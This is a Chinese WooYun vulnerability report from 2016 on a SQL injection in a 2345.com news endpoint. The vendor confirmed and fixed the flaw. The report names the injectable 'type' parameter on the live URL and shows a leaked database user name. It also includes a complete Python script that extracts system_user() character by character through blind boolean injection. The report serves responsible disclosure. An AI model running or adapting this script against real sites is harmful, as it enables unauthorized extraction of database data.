当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0195945

漏洞标题：2345网址导航某分处存在SQL注入(附验证脚本)

相关厂商：2345网址导航

漏洞作者： null_z

提交时间：2016-04-13 21:28

修复时间：2016-05-29 09:20

公开时间：2016-05-29 09:20

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-13： 细节已通知厂商并且等待厂商处理中
2016-04-14： 厂商已经确认，细节仅向厂商公开
2016-04-24： 细节向核心白帽子及相关领域专家公开
2016-05-04： 细节向普通白帽子公开
2016-05-14： 细节向实习白帽子公开
2016-05-29： 细节向公众公开

简要描述：

。。。

详细说明：

注入点 http://so.2345.com/2345app/get_app_news.php?nt=0&type=660&id=
注入参数 type
有过滤
True

屏幕快照 2016-04-13 19.00.05.png


False

屏幕快照 2016-04-13 19.00.14.png

漏洞证明：

user HOUTAI_2345@17

屏幕快照 2016-04-13 19.00.56.png


#!/usr/bin/env python
#-*- coding: utf-8 -*-
import time
import string
import binascii
import requests
res = ''
character = "%." + string.digits + "@" + string.ascii_uppercase + "_" + string.ascii_lowercase
headers = {
	'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
	'Referer': 'www.baidu.com',
	}
for i in range(1, 21):
	for p in character:
		while True:
			try:
				url = "http://so.2345.com/2345app/get_app_news.php?nt=0&type=660 and position({} in system_user())={}&id=".format('0x' + binascii.b2a_hex(p), i)
				req = requests.get(url, headers=headers)
				print req.url + '   --- ',
				print len(req.text)
				break
			except:
				pass
		if len(req.text) > 100:
			res += p
			print "\n[Result]: " + res + "\n"
			break
		time.sleep(0.5)
print "\n\n[Finish]: " + res

修复方案：

直接intval吧！

版权声明：转载请注明来源 null_z@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2016-04-14 09:14

厂商回复：

感谢您对2345的关注，此问题已修复，我们近期会给您寄送我们的小礼物，请注意查收。

最新状态：

暂无